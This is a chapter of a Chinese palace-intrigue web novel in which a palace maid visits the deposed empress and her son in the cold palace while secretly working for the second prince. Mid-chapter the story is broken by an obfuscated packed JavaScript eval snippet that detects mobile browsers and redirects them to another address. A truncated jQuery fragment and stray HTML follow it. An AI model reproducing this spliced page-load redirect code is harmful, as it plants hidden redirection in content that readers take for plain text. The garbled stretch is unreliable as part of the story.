三日后,又是一个落雪的清晨。
竺影系上新制的香囊,裹上披风踏出静和宫宫门,穿过长街往西面去。途径掖庭宫时,果然看到雪地里折断的松枝。
此时宫外无人,只有两只在雪地里觅食的麻雀,见她来了又惊走。
冷宫的门虚掩着,门栓没有落下,轻轻一推就开了。
孟闻正伏案,闻声往屋外看去,继而见她解下风帽,呼出的热气散去后,露出一双冻得湿润的眼。
没等他挪动身子,徴音已经从厨房里跑出来,几乎是飞奔上去,一面替她揉搓红肿的双手,一面又问着:“这么冷的天,怎么不等雪停了再来啊?”
竺影眨了眨眼,说:“不觉着冷。”轻轻一笑敷衍过去。
孟闻看了一眼墨碟里剩的些许墨汁,还是放下笔,拢了氅衣出门去。
屋外的两人一齐转过头来,竺影有些拘谨,捧着松枝依旧不忘行礼:“三皇子,您要的松枝,小人替您拾来了。”
他让徴音将松枝拿去,又问竺影:“你不问我拿这松枝作何用处吗?”
她想了想,颇有些天真道:“还有几日便是冬节,小人来时也见掖庭的宫人在折松枝,想是拿来插瓶,做清供的吧。”
孟闻不置可否,其实冷宫里并无这些讲究。
他没回答,竺影有些局促地揉了揉双手,又笼进袖中。
“太医署没再开药,不知夫人可好些了?”她问。
“好些了。”孟闻转身朝另一边屋舍走去,又问她,“不知宫人可有空闲?”
“正好得闲。”竺影亦步亦趋跟上去。
他停在紧闭的门窗前,“母亲说,她想见你。”
“我?”竺影深感意外,倒是比她预想中更好接近,甚至不必费尽心机去铺陈什么,便要见到她相见之人了。
“小人贸然前去,会不会惊扰了夫人?”
“不会。”孟闻道。
徴音道:“羽音才盛了饭食送去,我去看看夫人是否用完了饭。”
孟闻点头道:“去吧。”
竺影同他在屋外候着,时不时悄悄打量他一眼。
许是冷宫常年不见暖阳,而他久居低檐下,肤如白玉。至于手指上生的冻疮,像玉里飘的棉絮,多了些瑕疵。
素簪素衣,便衬得他更为暗淡。
转眼太子已废了七年,竺影快不记得他锦衣玉簪的模样了。
她默默观着雪中的人,而他只看着庭中静谧白雪,什么话也不说。
没过多久,徴音端着食案从屋里出来,食案上还剩下半碗豆羹。
竺影头一回知道,原来她吃着这样的粗茶淡饭,连寻常宫人都比不得。
孟闻一看她,她便无奈摇头,回禀道:“夫人依旧无甚胃口,精神也不大好,只吃了一些。”
他神色淡淡,只道:“已经比昨日好,不必勉强了。”
徴音叹息一声,端着残羹往厨下去了。
“进来罢。”
孟闻推开门,掀了一道帘子引她入内。
竺影迈步往帘中探去,狭窄的屋子里只能摆得下一张古朴的案几,一张陈旧的床榻,除此以外什么装饰也没有。
窗格上的纸糊了一层又一层,门缝透过的天光照彻浮动的微尘,屋内只生了一盆炭火,腥苦的药味在冷冬里凝滞不消,也不知这里的人是怎么熬过了七年岁月。
这地方太沉闷,榻上病着的人也昏沉沉。
羽音本守在陆皇后榻侧,见有人来了,自觉让出了位置。
孟闻走到榻边蹲下,握住陆皇后的手,轻声将她从浅眠中唤醒。
“母亲,她来了。”
丝与麻的织物摩擦发出窸窣声响,榻上的夫人在旁人搀扶下勉强坐起身来。
竺影缓缓走过去,与陆皇后的视线对上。
只见她伤寒已经痊愈,不再咳嗽,却仍旧一副消瘦面容,孱僽脸色,仿佛一举一动都耗尽所有的气力。
哪里像个活人啊,分明了无生气。
在很久很久以前,她们曾有过一面之缘,彼时竺影还是随父兄进宫赴宴的小女郎,陆尚书之女陆韫之也还端坐在皇帝身侧,与君同尊,享无上荣华。
天意弄人,却在弹指间,教往昔风华灰飞烟灭。
曾经母仪天下的皇后见过了太多人面,谄媚的、虔诚的,可爱的与可憎的……
或许记不起竺家女郎是何许人也。
可陆皇后盯着竺影的脸看了半晌,轻轻唤她:“好孩子,你叫什么名字?”
“小人叫鸣竹。”竺影低着头应答。
陆皇后目光一滞,如同记不得这个名字,于是又问她:“鸣竹是后来的名字吧,你从前又叫什么?”
竺影不作声,只是摇头。
这凝眉沉思的神情落在陆皇后眼里,她像明白了什么,突然道:“闻儿,你同羽音出去吧。”
羽音问道:“夫人不需我照看着吗?”
孟闻看了竺影一眼,不知是叮嘱还是告诫,只道:“不过一时半刻,应母亲的话,先出去吧。”
狭窄的屋内只剩下两人,倒敞亮了些许,连呼吸都轻快许多。
“鸣竹,像明珠似的,一定也是家中长辈珍视的掌珠,走过来些吧,让我看一看你。”陆皇后唤她到榻边坐下,莫名亲昵地握住她的手。
竺影看着妇人的手,轻轻盖在她掌上,使被冻僵的手渐渐有了些温度,不由呢喃:“夫人说过的话,竟与我的母亲很像,这名字正是这样得来的。”
陆皇后道:“家人既珍视你,怎会舍得送你入宫呢?”
竺影垂下眸道:“家中获罪了……”
一句话囊括了所有前因后果。
陆皇后怔忡着道:“是我失言,不该问这些。”
竺影淡淡笑道:“不妨事,夫人看着病好了,能否让我来为您把脉?”
陆皇后没有说话,只是任由竺影搭上她的脉搏。
一息、两息、三息……
竺影低头专注,把完了一只,又换另一只手,奈何五十息后,她面上早已僵住,嘴角再牵扯不出一丝笑意。
“怎么了?”
竺影仰头看向她,多年以来的怨恨与苦楚尽数落在她眼角眉梢,留下一道道深痕,那张脸上再没有点过胭脂,早不复昔日荣华。触及她眼中遗憾,像一朵开败的花,如何看都觉得惋惜。
是旧年沉疴,也是心疾。她从不善医人心,亲眼见过深宫中的许多花儿都像这样开败。
可她无法直说,只得牵强解释:“怪我学艺不精,竟什么也瞧不出来。”
陆皇后听不出谎,只安慰她说:“哪里能怪你一个小女娘?其实不必为我费这些心思,闻儿叫你过来不是为其他,只是……我想见见你罢了。”
废后纯粹只是为见她,还是像见昔日的家人,竺影不懂。
她与陆芃同龄,借着那点虚无缥缈的联系,不知所谓地闯进这西苑里来,归根结底只是别有用心。
“我见夫人神色疲惫,料想近来难得好眠?这只香囊里加了白芷和紫苏,可以宁神解郁。赠给夫人可好?”她从腰间解下一只香囊,递到废后面前。
陆皇后垂眸凝着这小物件,暮山紫的绸缎上绣着云纹,穗子是青罗丝带编的酢浆草结,其下悬着一双青绿流苏,很是漂亮。
材质不寻常,调香也不寻常。
陆皇后问:“这香并不常见,是谁教你调制的?”
竺影道:“是掖庭里的宫人。从前我在掖庭为贵人熏衣时,同她们学的。”
陆皇后问言呐呐:“原来是这般……”
竺影道:“不是什么珍贵物什,只盼着夫人心情能好些。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361910|183722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“那我就收下了。”陆皇后拿着香囊,宁静又慈祥地笑着。
竺影终是不忍再看下去,只得请辞:“晚些我还得赶回去呢,就不打扰夫人休憩了。”
“好,叫羽音送一送你吧。”皇后撒了手,由着她离去。
她离了那间逼仄沉闷的屋子,才得以在天光下肆意地喘息。
徴音羽音已经在别处忙碌了,孟闻还在门外候着。
竺影同他道:“夫人又睡下了。”
“嗯。”他淡淡应了声,没问陆皇后同她说了些什么。
竺影又道:“小人今日已出来很久,该回去了。”
本该就此别过,转身时他忽然叫住她:“为何如此?”
“什么?”竺影听着他不着前言后语的话,有些茫然。
“你职权不高,胆子不小。”他神色一凛,冷淡道,“可我尚且困于一隅,失却先机。你几次三番冒险来这里,又是图什么?”
他大概是思来想去仍然想不通,又信不过,是个爱刨根问底的人。
竺影笑着答:“小人初入宫时在鸣鸾宫当值,曾受皇后恩典,权当是还了当年一桩恩吧。”
“仅是如此?”
“仅是如此。”
没有半句出于她的肺腑之言。
可她弯着眉眼勾起唇,笑中也多了分真诚,叫他纠不出半分错处。
“无事了,早些归去。”他张口时,声音哑了,嗓子像被冰天雪地冻住,只剩下稀松平常的话语。
“冷宫里严寒更甚,三皇子保重。”竺影朝他再拜,随即折返回道中,任由呼啸的寒风裹着她离去。
只盼着不久的将来,他早些出囹圄,不再需要一介宫人的怜悯。
停雪轩的雪还在下,小轩虽题名为停雪,落在此处的雪并不比别处少。
二皇子孟晓在轩中观雪,观困囿于凝冰之下的一池鱼。
竺影从静和宫外回来,那凝望便由池鱼转移至她身上。
“回来了?”
“嗯。”她轻声应答。
“今日无事,只待你回来陪我用膳。”孟晓接过宁葭递来的狐裘,披在竺影身上,又携她往屋内走。
竺影将那遮住视线的绒毛拨开些许,说道:“让殿下久等了,早知该快些回来的。”
孟晓道:“此时回来正好,早些也还不饿,厨下送来的肉羹还在染炉上温着。”
竺影执着他冰冷的手,道:“可还是让殿下吹了好一阵的冷风。”
她一直知晓的,他每每立于廊下,便是在等她。
被人察觉了心思,他眉尾一扬,试图以一笑遮掩,又说起旁的事:“你几时换了熏香?”
竺影随口道:“屋里的熏香从未换过,回来路上途径梅园,许是沾染了那里的气味吧。”
“不对。”孟晓俯身执起竺影的袖角,原有的熏香被被雪气盖住了一些。“不是花香,是香料的气味,除了丁香,还多了白芷与紫苏……并非你从前喜欢的。”
竺影想起今日去冷宫,交给路皇后的香囊曾被她揣在身上,难免沾惹一些。可这些不必去与他解释,是故随口诌了个由头:“近来睡得不好,这才加了两种宁神的香料。”
孟晓道:“从前不见你这样,冷宫里那位就这么不好对付?”
竺影道:“的确不好诓骗,难知他会不会信我。也不知陛下何时才能记起冷宫那位,要我再瞒下去,只怕会露出破绽。”
“快了。”他宽慰道,“只待祝大人下一次进宫。”
“殿下已经与祝大人谈妥了吗?”
“也许吧,谁能想到秘书令也喜欢打哑谜?”他有意戏弄,偏偏给出个模棱两可的回答。
竺影拧起眉头佯装要怒,他即刻换了一副笑颜。
“自然是要谈妥的,不然真叫你白跑这么多趟了。”